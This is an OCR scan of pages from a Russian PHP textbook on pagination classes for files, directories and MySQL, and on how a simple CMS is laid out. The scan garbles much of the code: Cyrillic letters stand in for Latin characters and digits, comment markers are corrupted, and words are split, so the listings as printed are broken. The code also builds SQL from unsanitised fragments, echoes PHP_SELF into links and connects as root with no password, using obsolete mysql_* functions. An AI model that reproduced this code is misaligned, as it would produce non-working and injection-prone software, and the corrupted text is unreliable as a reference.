Глава 7. Постраничная навига ция 497 ?> // Если достигнут конец выборки , / / досрочно покидаем цикп if ($i > $first + $this- >get_pnumbe r() - 1) break ; // Помещаем пути к файлам в ма ссив , // который будет возвращен методом $arr [] = $this->dirname . "/" . $fi1e; // Закрываем директорию closedir ($dir) ; return $arr; Класс pager_d ir отличается от кл асса pager_file тол ько реал изацией метода get_total (), предназначеl;lНОГО для возвращения количества файлов в дирек­ тории, и метода get_p age ( ) , возвращающего массив путей к файлу для теку­ щей страницы . В основе обоих методов лежит испол ьзование функций для работы с директориями. Порядок работы с директорией точно такой же, как и с файлом : директория откр ывается при помощи функции opendi r (), функ­ ция принимает в качестве единственного параметра имя директории и воз­ вращает дескриптор $dir, который зате м испол ьзуется в качестве первого параметра для всех остальных фу нкций, работающих с директорией. В цикле wh ile ( ) осуществляется последовател ьное чтение элементов директо рии при помощи функции readdi r ( ) . Функция возвращает лишь имя файла, поэтому при обращении к файлу необходимо формировать путь, добавляя перед его названием имя директории $this- >dirnarne . ЗА МЕЧА НИЕ Пользователь класса может зада вать имя директории ка к со сл эшем на конце - " photo/", так и без него - " photo" . Чтобы не создавать специальной обработки подобной ситуации , в кон структоре кл асса pager_d ir косая чер­ та в конце строки удаляется при помощи фун кци и trirn (). По умол чанию данная функция удаляет пробелы в начале и в ко нце строки , од нако при помощи второго параметра можно указать удаляемый символ , отличный от пробела. Следует отметить, что результат присвоения переменной $file значения функции readdir () сравнивается со значением fa lse. Обычно в качестве ар-
498 Часть 1. Общ ие вопр осы гу мента цикла while ( ) испол ьзуется вы ражение $file = readdir ($di r) , од­ нако в дан ном случае это недопустимо, так как имя файла может начинаться с О, что в контексте операто ра while () будет рассматриваться как false И приводить К остановке цикла. В директории могут находиться как файлы, так и поддиректории; обязател ь­ но учитываются как минимум две директории: текущая "." и родител ьская " .." . Поэтому при подсчете количества ил и при формировании массива фай­ лов для те кущей страницы важно подсч иты вать именно файлы, избегая ди­ ректорий. Для это й цел и служит функция iS_file ( ) , которая возвращает true, есл и переданный ей в качестве аргумента путь ведет к файлу, и fa lse - в противном случ ае . В листинге 7.8 приводится пример испол ьзования кл асса pager_di r для вы­ вода фотографий из папки photo по три штуки на странице. Конструктор кл асса принимает в качестве первого параметра имя директории, в кач естве второго, задающего кол и чество позиций на странице, по умолчанию исполь­ зуется число 3. Листи нг 7.8 . Использование класса pager _ dir <?php requi re_once ("class . pager_di r.php " ); ?> // Объявляем объект постраничной н авигаци и $obj = new pager_dir ( "photo ", 3) ; // Выв одим содержимое текущей с траницы $arr = $obj - >get - page () ; for ($i = О; $i < count ($arr) ; $i++) echo "<img src= {$arr [$i] } >&nbsP ;&nbsP ;&nb sp ; "; echo "<br> "; / / Выводим ссыпки на другие страницы echo $obj ; Результат работы скрипта из листинга 7.8 может выглядеть так, как это пред­ ставлено на рис. 7.5 .
Глава 7. Постр аничная навига ция Рис. 7 .5 . Постраничная навигация для файлов в директории 7 . 5 . П остраничная навигация для базы данных 499 Помимо файлов и директорий, постраничная навигация часто применяется дл я вывода позиций из базы данных. Реализуем производный класс pager_mysql, который расширит класс pager для работы с СУБД MySQL. ЗА МЕЧАНИЕ Очень часто для доступа к СУБД MySQL организуют специальный класс. Это неоправданно, как и в случ ае с кл ассом доступа к файлу: есл и прило­ же ние работает только с одн им типом СУБД, незачем подменять стандарт­ ный прозрачный инте рфейс доступа собственным объектно­ ориентированным интерфейсом, кото рый не будет знаком никому, кроме самого разработчика. Однако когда Г!риложение проектируется для работы сразу с нескол ькими базами да нных, управляемыми разными СУБД, полез­ но создать кл асс, который будет ада птировать запросы для доступа к раз­ ным типам СУБД. ЗА МЕЧА НИЕ Для доступа к СУБД MySQL следует воспользоваться новой библиотекой php_mysqli, которая предоста вляет объектно-ориентированный интерфейс. К сожалению, данная библиотека пока не получ или стол ь же широкого рас­ пространения, как и библиотека php_mysql.
500 Часть 1. Общ ие вопросы в листинге 7.9 пр�дставлена одна из возможных реал изаций кл асс а pager_mysql. В задачу класса не входит установка соединения с базой дан­ ных - этим будет заниматься внешний код. Конструктор кл асса принимает в качестве параметров имя таблицы $tabl ename , WНЕRЕ-условие $where И кри­ те рий сортировки $orde r. Конструктор кл асса не пытается предотвратить SQL-инъекции, так как предполагается, что объекту передаются уже сфор­ мированные фрагменты SQL-запроса, и внешний программ ист позаботился о предотв ращении данного вида ата ки . ЗА МЕЧА НИЕ SQL-запросы зачастую формируются динамически , то есть включают в се­ бя одну или нескол ько переменных. Если значения та ких переменных могут быть умышленно искажены с цел ью изменения логики SQL-запроса , имеет место SQL-инъекция. Подробнее с да нным видом ата к можно ознаком иться в нашей кн иге " Головоломки на РНР для хакера" . ЗА МЕЧА НИЕ Предста вленный в листи нге 7.9 кл асс page r_my sql работает лишь с одной таблицей, именно поэто му в нем не предусмотрены параметры дл я группи­ ровки при помощи ключевого сл ова GROU P ВУ и условий ON И HAVING. ДЛЯ реализации многотабличных запросов потребуется унаследовать от pager новый кл асс pager_my sql_multi. Листинг 7.9 . Реализация класса pager_my sql <?php // Подключаем базовый класс require_once ("class . pager . php " ); // Подключаем исключение для обработки // ошибок обращения к MySQL require_once ("except ion .mysql .php " ); class pager_my sql extends page r // имя таблицы protected $tablename ; // WНЕRE-условие protected $wh ere ;
Гл ава 7. Постраничная навигация // Критерий сортировки ORDER protected $order; // Количество позиций на странице private $pnumbe r; // Количество ссылок слева и справа / / от текущей страницы private $page_1 ink ; // Параметры private $parameters ; // Конс труктор pub1ic funct ion __cons t ruct ($tablename , $this- >tablename $this->whe re $this->orde r $th is->pnumb er $this - >page_l ink $this- >parameters $where "", $orde r "", $pnumber 10, $page_l ink = 3, $parameters = "") $tablename ; $where; $order; $pnumbe r; $page_l ink; $parameters ; pub1ic funct ion get_t ota1 () // Формируем запрос на получение // общего количества запи сей в таблице $query = "SELECT СОИNТ (*) FROM {$thi s - >tablename } {$this - >where } ($this ->order } "; $tot = mysq1_query ($que ry) ; if (!$tot ) throw new Excepti onМySQL (mys q1_error () , $ que ry, "Ошибка подсчета количества позиций" ) ; 501
502 return my sql_result ($tot , О) ; pub lic function get_pnumbe r() // Количество позиций на странице return $this->pnumber; publ ic function get_page_link () // Количество ссылок слева и справа // от текущей страницы return $this->page_link; public function get - parameters () // Дополнительные параметры, которые // необходимо передать по ссылке return $this->parame ters ; // Возвращает ма ссив строк файла // по HOMe�y страницы $index public function get - page () // Текущая страница $page = $_GET [ 'page' ]; if (emp ty ($page) ) $page = 1; // Количество записей в файле $total = $this->get_total () ; // Вычисляем количество страниц в системе $number = (int ) ($total/$this->get_pnumber () ); Часть 1. Общ ие вопросы if ((f loat ) ($total /$this->get_pnumb er () ) - $number != О) $number++ ; // Проверяем, попадает ли запрашиваемый номер // страницы в интервал от 1 до get_total () if ($page <= О II $page > $numbe r) return О; // Извлекаем позиции текущей страницы $arr = array() ; // Номер , начиная с которого следует // выбирать строки файла
Глава 7. Постраничная навигация ?> $first = ($page - 1) *$this->get_pnurnber () ; // Извлекаем позиции для текущей страницы $query = "SELECT * FROM {$this ->tablenarne } ($this->wh ere ) ($this->order ) LIMIT $first , ($this- >get_pnurnber () )"; $tbl = mysql_que ry ($query) ; if (!$tbl ) throw new Except i onМySQL (mysql_error () , $query, "Ошибка обращения к таблице позиций" ) ; // Если име ется хотя бы один элемент , // заполняем массив $arr if (mys ql_num_rows ($tb l) ) wh ile ($arr [] = mysql_fetch_a rray ($tbl ) ); // Удаляем последний нулевой элемент // ма ссива $arr uns et ($arr [ count ($arr) - 1] ); return $arr ; 503 Точно так же, как и в предыдущих классах, наиболее серьезной модификации подвергаются метод get_total ( ), возвращающий количество записей в таб­ лице $tablename , а также метод get_page (), который возвращает двумерный массив: каждый элемент массива представляет собой массив полей одной из записи. Для подсчета количества записей табл ицы в методе get_total ( ) испол ьзует­ сяфункцияCOUNT(*): SELECT СОИNТ (*) FROM tbl В методе g et_p age ( ), возвращающем записи для текущей страницы, для по­ лучения ограниченного объема записей используется ко нструкция LIMIT: так,
504 Часть 1. Общ ие вОПРОСbl запрос с ко нструкцией LIMIT О, 10 возвращает первые 1 О элементов табл и­ цы, LIMIT 10, 10 возвращает следующие 10 элементов, LIMIT 20, 10 - сл е­ дующие и т. д. SELECT COUNT ( *) FROM tbl LIMIT О, 10 Для демонстрации возможностей кл асса page r_my sq1 создадим табл ицу ро­ sition, предназначенную дл я хранения заголовков разделов сайта (л ис­ тинг 7. 10). Л истин г 7.10. SQL-дамп табл ицы pos�tion CREATE TAВLE pos ition ( id_po sition INT (ll) NOT NULL AUTO_INCREМENT , пате ТЕХТ NOT NULL , PRIМARY КЕУ (id_pos ition) ); INSERT INTO position VALUES ( 1, 'С++' ) ; INSERT INTO pos ition VALUES (2, 'Pascal' ); INSERT INTO position VALUES (3, 'Perl ') ; INSERT INTO position VALUES (4, 'РНР ' ) ; IN SERT INTO pos ition VALUES (5, 'С#') ; INSERT INTO pos ition VAL UE S (6, 'Visual Basic' ); INSERT INTO pos ition VALUES (7, 'BAS H' ) ; INSERT INTO pos ition VALUES (8, 'Python' ) ; INSERT INTO pos ition VALUES (9, 'SQL ' ); INSERT INTO pos ition VALUES (10, , Fortran ' ) ; INSERT INTO pos ition VA LUES (11, 'JavaScript '); INSERT INTO position VALUES (12, 'HTM L' ); INSERT INTO pos ition VALUES (13, 'UМL' ) ; INSERT INTO pos ition VALUE S (14, 'Java' ); Табл ица pos ition состоит из двух полей : LI id_position - первичный ключ таблицы, снабженный ат рибутом АИ ТО_ INCREMENT; LI пате - название раздела. Перед началом работы класса pager_my sql необходимо установить соедине­ ние с базой данных под управлением СУБД MySQL. Так как задача установ­ ки соединения с базой данных возникает достаточно часто , код, осуществ­ ляющий соединение, выделяют в отдел ьный файл (листинг 7.1 1).
Глава 7. Постр аничная навига ция Листинг 7.11.Установка соединения с базой данных под управлением СУБД MySQL (файл config.php) <?php // Адрес сервера MySQL $dblocation = "localhost" ; // имя базы данных на хостинге или локаль ной машине $dbname = "оор" ; // имя поль зователя базы данных $dbus er = "root"; // и его пароль $dbpasswd ""; // Устанавливаем соединение с базой данных $dbспх = @mys ql_connect ( $dblocation, $dbuser, $dbpasswd) ; if (!$db спх ) exit ( "<Р>В настоящий моме нт сервер базы данных не доступен , 505 поэтому корректное отображение страницы невозможно .</Р>" ); ?> / / Выбираем базу данных if (! @mys ql_s elect_db ($dbname , $dbcnx ) ) ( exit ( "<Р>В настоящий моме нт база данных не до�тупна , поэтому корректное отображение страницы невозможно .</Р>" ); // Устанавливаем кодировку соединения ; следует выбрать кодировку , // в которой данные будут отправлять ся серв еру MySQL @mysql_que ry ("S ET NAМE S 'cp1251 ''') ; Теперь, когда весь вспомогател ьный код готов, выведем содержимое табл и­ цы position, отсортировав ее по полю паше (листинг 7. 12). Листи нг 7.12. Пострани чный выодд содержимого табли цы po sition <?php // Устанавливаем соединение с базой данных require_once ("config .php " ); // Подключаем класс постраничной навигаци и requi re_once ("class . page r_my sql .php " );
506 try // Объявляем объект постраничной навигаци и $obj = new pager_mysql ("pos ition" , 11" , "ORDER ВУ пате") ; // Выв одим содержимое текущей страницы $arr = $obj - >get_p age () ; for ($i = О; $i < count ($arr) ; $i++) Часть 1. Общ ие вОПРОСbl echo "<а href=position . php?id={$arr [$i] [id_pos tion] }>". " { $arr [$i] [пате] }</a><br>"; ?> / / Выв одим ссылки на другие страницы echo $obj ; catch ( ExceptionМySQL $ехс ) require ("except i on_mysql .php " ); Пожалуй, основным неудобством при использовании класса pager_my sql яв­ ляется раздельное формирование SQL-запроса. Большинство програм м истов будут вынуждены затратить значител ьное время для того, чтобы выяснить, что зап ись $obj = new pager_my sql ("pos ition" , "", "ORDER ВУ ' пате"); эквивалентна SQL-запросу SELECT * FROM position ORDER ВУ пате Такова плата за возможность повторного использования кода, которая сни­ жает гибкость всей системы. Резул ьтат работы скрипта из листинга 7. 12 про­ демонстрирован на рис. 7.6 .
Глава 7, Постр аничная навига ция �ASH С# С++ FОJ'tшn нпvп., JavaSCJ' Pa§f.!!l Perl РНР [1-10] [1 1-14] 507 Ри с . 7 .6 . Постраничный вывод информации из табл ицы position базы данных под управлением MySQL 7.6. Изменение формата постраничной навигации Пусть требуется изменить формат вывода ссылок постраничной навигаци и ил и предоставить альте рнативную форму постраничной навигаци и, напри­ мер, вместо номеров позиции выводить номера страниц: « ...< ...3456789...> ... » Символ « является ссылкой на первую страницу, символ »-на послед­ нюю" а ссылки < и > перемещают пользователя с текущей страницы на одну позицию влево или вправо соответственно. Для осуществления такого способа постраничной навигации создадим в ба­ зовом кл ассе pager новый метод print_p age () (л истинг 7. 1 3). ЗА МЕЧА НИЕ В листинге 4.40 с цел ью экономии места базовый кл асс pager приводится не полность ю.
508 Часть 1. Общие вопросы Листинг 7.13. Альтернати вный способ реализации постраничной навигации <?php c1as s pager !! Альтернативный способ постраничной навигации pub1ic function print_page () !! Строка для возвращаемого ре зуль тата $return_page = ""; !! Через GЕТ-параметр page передается номер !! текущей страницы $page = $_GET ['p age' ); if (emp ty ( $page) ) $page 1; !! Вычисляем число страниц в системе $number = (int ) ($this->get_tota1 () !$this->get - pnumber () ); if ((f 1oat ) ($this->get_t ota1 () ! $this->get - pnumber()) - $number != О) { $number++ ; !! Ссылка на первую страницу $return - page "<а href= ' $_SERVER [PHP_SELF) ". "?page=l {$this->get - parameters () ) '>" . "&lt; &lt; <!a> ... "; !! Выводим ссылку "Назад" , если это не первая страница if ( $page != 1) $return - page .= " <а href= ' $_SERVER [ PHP_SELF)". "?page=" . ($page - 1) ."{$this ->get - parameters () )'>" . "&lti </a> ... "; !! Выв одим предыдущие элементы if ( $page > $this->get-page_l ink () + 1) { for ($i $page - $this->get_page_l ink () ; $i < $page ; $i++ )
Глава 7. Постраничная навигац ия 509 $returnyage "<а href= ' $_SERVER [PHP_SELF] ?page=$ i'>$i</a> "; else for ($i 1; $i < $page; $i++) "<а hre f= ' $_SERVER [ PHP_SELF]?page=$ i'>$i</a> "; } 1 / Выв одим текущий элемент $return_page .= "$i "; // Выводим следующие элементы if ( $page + $this->getyage_link () < $number) for ($i = $page + 1; $i <= $page + $this->get_page_l ink () ; $i++ ) "<а href= '$ SERVER [PHP_SELF]?page=$ i'>$i</a> "; else for ($i = $page + 1; $i <= $number; $i++) $re turny age "<а href= ' $_SERVER [PHP_SELF]?page=$i ' >$i</a> "; 1 / Выводим ссылку "вперед" , если это не последняя страница if ( $page != $number) $return_page .= " ... <а href=' ' '. "$_SERVER [PHP_SELF] ?page=" . ($page + 1) ."{ $this->get_pa rameters () }'>" . "&gt; </a>" ; 1 / Ссылка на последнюю страницу $return_page " ... <а href= ' $_SERVER [ PHP_SELF]". "?page=$number {$this->get_pa ramet ers () } '>" . "&gt; &gt;</a>" ;
510 Часть 1. Общ ие вопросы return $return_page ; ?> Важно отметить, что новый метод автоматически начинает работать во всех производных кл ассах pager file, page r file search, pager_d ir, page r_mysql, и для объектов каждого класса авто матически выбираются пра­ вильные методы get_total (), get_pnumber () , get_p age_l ink ( ) и get_parameters (). Метод print_page () можно вызывать вместо содержимого метода _ t oString () или строку echo $obj В листингах 7.3, 7.5, 7.6, 7.8 и 4. 12 заменить на строку echo $obj - >print_page () На рис. 7.7 представлен внешний вид постран ичной навигаци и при вызове метода print_page () для объекта кл асса pager _dir. ;,: ,:;, 'у- •• • '1:;.. ... ���! �.��f" �' ,:f: :" ,\ Рис . 7 .7 . Ал ьтернативный вариант постраничной навигации
ЧАСТЬ 11 СОЗДАН ИЕ САЙТА
ГЛАВА 8 Проекти рование сайта Любой сайт условно можно поделить на две большие части : CJ система ад.министрирования - область сайта, доступ ная тол ько ад ми­ нистраторам и редакторам; CJ система пр едставления - область сайта, доступная посетителям. ЗАМЕЧАНИЕ Обе системы работают с одной и той же базой данных. Системы могут б ыть интегрированы друг в друга , а могут б ыть разделены и находиться в разных папках. В книге будет использоваться последний подход, позволяющий ми­ нимизировать зависимость от дизайна саЙта . Современная хорошо спроектирован ная система ад министрирования значи­ тел ьно превосходит как по объему, так и по сложности разработки видимую часть ресурса: она позволяет редактировать информацию на сайте, выпол­ нять различные задачи по ад министрированию, собирать и анализировать разнообразную статистическую информацию о посетителях сайта и т. д. В последнее время получили большое распространение системы управления содержи мым сайта (Col1t . el1t Mal1agemel1t System, CMS). CMS - это систе ма, которая позволяет владельцу сайта управлять текстовой и графической ин­ формацией без программирования с использованием технологий РНР, MySQL, HTМL, JavaScript, Flasl1 и т. д . Появление самых разнообразных CMS вызвано двумя причинами: CJ разработчики отходят от практики разработки сайта, как произведения искусства, жесткие сроки заставляют их переходить к конвейерному про­ изводству (по крайней мере, в области системы ад министрирования и баз данных);
514 Часть 1/. Создание са йта D заказчики бол ьше не воспринимают Web-сайты как игрушку, демонстри­ рующую состоятел ьность компании. В сайт вкладывают средства, и за­ частую он служит для расширения бизнеса и извлечения прибыли. Все это приводит к тому, что владельцы сайта желают иметь полный кон­ трол ь над каждым элементо м сайта через систему ад министрирован ия . Стандарта в области построения CMS нет. Это может быть как простейшая форма для изменения e-mail и адреса в блоке обратной связи, так и систе ма, включающая десятки блоков, сотни настроек, позволяющих изменять содер­ жимое меню, текстов, стате й, структуру саЙта . Система управления может быть как вынесена в отдел ьный блок, так и интегрирована в блоки управле­ ния на сайте и включаться при входе на сайт администратора. CMS может быть ориентирована или на администратора и редактора (удобство использо­ вания), или на разработчика (удобство расширения и введение новых бло­ ков). Скорее всего, создание универсальной CMS невозможно - сайты (да и сам и CMS) предназначены для решения совершенно разнообразных задач; учет всех возможностей приведет к созданию сл ишком сложного интерфей­ са, изучение которого станет непреодолимым препятствием для большинства пользователей и разраб отчиков. ЗА МЕЧАНИЕ в последнее время од ним из основных требований заказч ика ста новится простота управления сайтами и исключение л ишних деталей. В погоне за универсальностью разработчики CMS создают сл ишком сложные инте р­ фейсы, управление которыми требует значител ьного времени со стороны редакторов. В этой гл аве мы сосредоточимся на проектировании системы управления со­ держимым сайта (CMS), предназначенной в первую очередь для Web­ разработчика. В основе системы будет лежать созданный в главах 6 и 7 Soft­ Time Framework, а гл авная задача разрабатываемой системы будет заклю­ чаться в ускорении разработки сайтов и их систе м управления . Исходя из по­ ставленных задач, система должна иметь развитую СУБД и блок ад министрирования, однако система представления данных останется демон­ страционной (практически не развитой). Последнее связано с те м, что систе­ ма представления часто требует знач ительной переработки под дизайн сай­ та - создание готовой систе мы неизбежно потребует применение шаблонов дизайна, что крайне раздражает заказчиков и дизайнеров.
Глава 8. Проекmuрованuе сайmа 8.1 . Структура системы управления сайто м (CMS) CMS СТРУК1урно разделяется на следующие блоки: 515 О база данных - набор табл иц, в которых хранится вся конструктивная информация сайта; О система ад министрирования - блок, позволяющий осуществлять редак­ тирование базы данных; О система представления - набор программных блоков, с которыми имеет дело посетитель и при помощи которых информация извлекается и по­ мещается в базу данных; О конфигурационные (настроечные) файлы - расположены в директории config: сопfig.рllР предназначен для установки соединения с СУБД MySQL, class.config.pllp содержит пути к классам для блока представ­ ления, а class.config.dml1.php - пути к классам для блока ад министри­ рования; О Framework - набор общих классов, которые испол ьзуются при построе­ нии системы администрирования и представления (см. главы 6 и 7) . Схема отношения отдельных блоков системы управления содержимым сайта представлена на рис. 8.l . Система (J адм инистрирования '- -------' I База данных Q Ко нфигурационные � � i> файлы Система п _ �осетител и L- п _ ред _ с _ та _ вл _ е _ н _ ия __ -, �_J '- -- __ -- --, ___ -- --' {) Общие классы Framework Рис. 8 . 1 . Схема отношения блоков системы управления содержи мым сайта (CMS)
516 Часть 11. Создание сайта Каждый из блоков CMS располагается в отдел ьных каталогах, при этом фай­ лы блока представл ения располагаются в корне сайта, а все остальные блоки в подкатал огах: / - блок представления /clas s - Общие классы Framework /сопfig - конфигурационные файлы /dmn - система администрирования Условимся, что табл ицы базы данных будут начинаться с префикса " system_ " , при это м В программном коде они будут обозначаться переменной с префиксом $tbl_. Список всех табл иц будет размещен в файл е cOl1fig/col1fig.php, который будет осуществлять соединение с СУБД My SQL. В листи нге 8.1 представлен фрагмент файла cOl1fig.pl1p, который содержит переменные с названиями табл иц. ЗА МЕЧАНИЕ Новейшие нововведения СУБД MySQL, та кие как хранимые процедуры и функции, триггеры , планировщик заданий, представления, использоваться не будут в целях обеспечения максимал ьной совместимости со старыми версиями СУБД MySQL. Листинг 8.1. Названия табли ц базы данных <?php ?> // Новости $tb l_пеws // Каталог $tbl_catalog // Позиция каталога $tbl_роs itiоп , system_пеws ' i 'system_ catalog 'i 'system-ро sitiОП 'i Есл и вводится новая таблица, например, для имен загружае мых на сервер файлов, то в файл c0l1fig/col1fig.pl1p добавляется новая переменная $tbl_fi les С названием новой табл ицы " system_ files " . Такая система име­ нований позволяет избежать конфликтов, связанных с хранением в одной базе данных таблиц с одинаковыми именами. Если потребуется добавить в базу данных таблицу с именем уже существующей таблицы, в любой момент
Гл ава 8. Пр оекmuрованuе сайmа 517 можно переименовать таблицу с ко нфликтным именем. Из менения, произве­ денные в файле config/co nfig.php, отразятся на всей системе. Систе ма ад мrшистрирования является наиболее развитым блоком CMS и имеет собственную структуру. Для каждого блока выделяется отдел ьный ка­ талог: / /drn n - система администрирования /system_a ccount s - управление аккаунтами /article - управление стать ями /news - управление новостями /utils - общие файлы и авторизация /index . php - индексный файл Индексный файл осуществляет переадресацию на один из блоков системы ад министрирования. В листинге 8.2 приводится пример файла il1dex.pl1p, осуществляющего переадресацию на блок управления новостями. Листинг 8.2. Содержимое индексного файла index.php <?php ?> // Переадресация на блок управления новостями header ( "Locat ion : news / index .php " ); Основная сложность при построении универсальных систем управления сай­ там и заключается в том, что разным сайтам требуются совершенно разные блоки. Можно создать десятки и сотни блоков, однако это будет запуты вать пользователя и разработчика - зачем в системе ад министрирования управ­ ление электронным магазином и блоком голосования, есл и ни того, ни друго­ го на сайте нет? Ориентируясь на быструю разработку Web-сайта, необходимо предусмотреть простой вариант удаления ненужных блоков из дистр ибутива CMS, а также быстрый способ построения и введения уникальных для данного сайта ко м­ понентов. Так как основным критерием оценки эффективности блока управ­ ления выступает простота операций, регистрация блоков в файле ил и табл ице базы данных сразу исключается - неподготовленному разработчику потре­ буется время для поиска такого файла или таблицы, а также для выяснения, как ко рректно удалить ил и вставить блок так, чтобы это не затронуло остал ь­ ные части системы. Идеальной была бы ситуация, когда создание или удале­ ние подкаталога в каталоге /dmn приводило бы к автоматической интеграции
518 Часть 11. Создание сайта ил и исключению блока из системы ад министрирования. При это м для созда­ ния нового блока сторонний Web-разработчик мог бы скопировать содержи­ мое одного из существующих блоков и преобразовать его по аналогии. Описанный выше подход требует, чтобы кажд ый из блоков, помещенный в отдел ьный каталог, сам себя описывал системе при помощи специального файла, а при его отсутствии назывался бы именем подкаталога. Самоидентификация будет проводиться при помощи специального файла . htdir. В случае Web-сервера АрасI1е-файл ы, которые нач инаются с префикса .ht, являются недоступными для просмотра из Web-браузера. За это отвечает контейнер <Files> В конфигурационном файле httрd.СОl1f (листинг 8.3). Листинг 8.3 . Файлы, начинающиеся с префикса .ht, н е доступны ДЛЯ просмотра из WеЬ-браузера <Files - "Л\ .ht"> Orde r allow, deny Deny from all Satis fy Al l </Files> На самом деле данный контейнер предназначен для то го, чтобы защитить содержимое конфигурационных файлов .l1taccess и .I1tpasswd от любопытных гл аз. Однако можно воспользоваться такой защитой и дл я того, чтобы авто­ матически защитить собственные ко нфигурационные файлы. Файл .htd ir будет содержать две строки: первая с названием блока, вторая с его кратким описанием. Данная информация будет использоваться в меню системы ад министрирования. В листинге 8.4 представлено содержимое фай­ ла .htd ir для блока управления новостями. Листин г 8.4. Содержи мое файла .htdir Новостной бл ок Размещение , редактирование и удаление новостных блоков Таким образом, каждый блок сам предоставляет о себе информацию; есл и такая информация отсутствует, система пытается назвать блок самостоятел ь­ но. Удаление подкатал ога приводит к автоматическому его исключению из системы администрирования .
Гл ава 8. Пр оекmuрованuе са йmа 519 Конфигурационные файл ы содержат служебную настроечную информацию. Помимо файла config.php, осуществляющего соединение с СУБД MySQL, блок конфигурационных файлов содержит файл class.config.pI1p, который в ключает все ранее разработан ные классы SoftTime Framework (л исти нг 8.5). ЗА МЕЧА НИЕ По мере разработки системы (введение новых элементов управления или исключений) в данный файл необходимо включать новые файлы. Листинг 8.5. Содержимое файла class.config.php <?php require_once ("class/class . field . php " ); require_once ("c lass/class . field . text .php " ); requi re_once ("c lass/class .field .text . engl ish . php " ); requi re_once ("class/class . field . text .int.php " ); requi re_once ("c lass /class .field . text .ema il .php" ) ; requi re_once ("class/class . field . pas sword . php " ); require_once ("class/class . field . textarea . php " ); requi re_once ("c lass/class . field . hidden .php " ); require_once ("c las s/class . field . hidden .int.php " ); require_once ("class/class . field . radio . php " ); require_once ("c lass /class . field . select . php") ; requi re_once ("c lass/class . field. select .city .php" ) ; requi re_once ("class/class . field . checkbox .php " ); require_once ("c lass/class .field. file .php " ); require_once ("c lass/class . field .date . php " ); require_once ("c lass/class . field . datetime .php " ); requi re_once ("c lass/class .field . paragraph .php") ; requi re_once ("c lass/class .field .title .php " ); require_once ("c lass/class . forms .php" ) ; requi re_once ("class /exception .rnernber .php" ) ; require_once ("class/exception . rnysql .php " ); require_once ("class /exception.obj ect .php " );
520 Часть 11. Создание са йта requi re_once ("c lass/class . pager . php " ); require_once ("c lass /class . pager_di r.php") ; requi re_once ("c lass/class .pager_fi le .php ") ; require_once ("c lass /class . pager_file_s earch .php " ); require_once ("clas s/class . pageryys ql .php" ) ; Теперь достаточно включить в файл блока представления лишь один файл сlаss.сопfig.рI1Р, чтобы скрипту был доступен весь набор классов дл я по­ стр оения НТМL-форм . Систе ма адм инистрирования и блок представл ения находятся на разных уровнях вложения, поэтому для системы представления следует создать отдел ьный файл сlаss.сопfig.dШ11.рl1р, включающий файл ы для построения НТМL-форм (л исти нг 8.6) . ЗАМЕЧАНИЕ В операционной системе UNIX текущий катал ог обозначается при помощи символа точки " . " , родител ьский катал ог - при помощи двух точек " .. " . По­ добная же систе ма бblла заимство вана операЦИОННblМИ системами DOS и Windows . В UNIX скрытые фаЙЛbl и директории не имеют специального ат­ рибута - все элемеНТbI файловой систеМbI, начинающиеся с точки , счита­ ются СКРblТbl М И . Именно поэтому конфигураЦИОННblе фаЙЛbl .htaccess, . htpasswd и наш ф айл .htd ir также начинаются с точ ки . Листинг 8.6 . Содержимое файла class.config.dm n.php <?php require_once ("../ . ./class /class . field .php" ) ; require_once ("../ ../class /class . field . text .php ") ; requi re_once ("../ ../class/class . field .text . english .php ") ; requi re_once ("../ ../class/class . field .text . int .php " ) ; require_once (" ../ ../class /class . field .text . ema il .php" ) ; require_once (" ../ ../class/class . field . pas sword .php" ) ; require_once ("../ . ./class/class . field . textarea .php ") ; require_once (" ../ ../ class/class . field . hidden .php " ); requi re_once (" ../ ../class /class . field . hidden . int .php" ) ; require_once ("../ . ./class/class . field . radio .php" ) ; require_once (" ../ ../class/class . field. select .php ") ; require_once (" ../ ../class/class . field . select : city . php") ; requi re_once (" ../ . ./class/class . field . checkbox .php" ) ; require_once ("../ . ./class/class . field . file . php" ) ;
Глава В. Проекmuр ованuе сайmа ?> requi re_once (" ../ ../class/class . field . date .php ") ; require_once (" ../ ../class/class . field . datetime .php" ) ; require_once (" ../ ../clas s/class . field . paragraph .php ") ; require_once (" ../ ../class/class . field .title .php ") ; require_once (" ../ ../class /class . forrns .php ") ; requi re_once (" ../ . ./class/except ion .rnemb er .php ") ; require_once ("../ ../class/except ion .rnysql .php ") ; require_once ("../ ../class/except ion .obj ect .php ") ; requi re_once (" ../ ../class/class . pager .php ") ; require_once ("../ ../class/class .pager_abstract .php" ) ; requi re_once (" ../ . ./class/class .pager_d ir .php ") ; require_once (" ../ ../class /class .pager_file .php ") ; require_once (" ../ . ./class /class . pager_file_search .php ") ; requi re_once (" ../ ../ClaSS/Class . pager_rny sql.php ") ; 8.2. Общие файлы системы ад м инистрирования 521 Остан овимся подробнее на системе ад министрирования CMS, а конкрет­ нее - на катал оге общих файлов /d mn/utiIs. В данном катал оге сосредоточе­ ны служеб ные файлы, такие как шапка и завершение страницы, стилевые табл ицы, система авторизации, поиска модул ей и формирования меню, а также другие вспомогател ьные файлы. Ниже приводится список основных файлов: О bottom.php - завершение страницы; О cms .css - каскадные табл ицы стилей; О mel1u.pllp - блок формирования меню (поиск блоков и чтение их .Iltd ir­ ф айлов); О security_ mod . pllp - блок безопасности, осуществляющий авторизацию ад министраторов и редакто ров (см . главу 9); О top .pl1p - шапка стран ицы;
522 Часть 11. Создание са йта о exceptiol1.pllp - обработчик исключений; о exceptiol1_member.pllP обработч ик (см . раздел 6. 3); О exceptioll_mysql.pllp обработчик (см. раздел 6. 3); О exceptioll_object .pllp обработчик (см. раздел 6. 3). исключения Except i onMernbe r исключения Except i onObj ect исключения ExceptionMy SQL в листинге 8.7 представлена ти пичная структура файла системы ад минист­ рирования . Листинг 8.7. Типичная структура файла системы администрирования <?php ?> // Устанавлив аем соединение с базой данных rеquirе_опсе (П../ ../соп fig/сопfig .рhрП ) ; // Подключаем блок авторйзаци и rеquirе_опсе (П ../utils/sесuritу_rnоd .рhр П) ; // Подключаем кл ассы формы rеquirе_опсе (П../ ../сопfig/сlаss . сопfig . drn n .рhр П) ; // Данные переменные определяют название страницы и подсказку $title 'Название старницы' ; $pageinfo = '<р сlаss=hеlр>Зде сь можно добавить описание cTpaНl';lЦЫ< /p> '; // Включаем заголовок страницы rеquirе_опсе (П ../utils /tор .рhр П) ; // Содержимое страницы // Включаем завершение страницы requi re_once (П ../utils /Ьоttоrn.рhр П) ; На рис. 8 .2 представлен резул ьтат работы скрипта из листинга 8.7 . Как видно из рис. 8 .2, слева располагается меню, а справа - основное со­ держи мое страницы, которое начинается заглавием и описанием (оба этих элемента могут быть опущены, есл и не 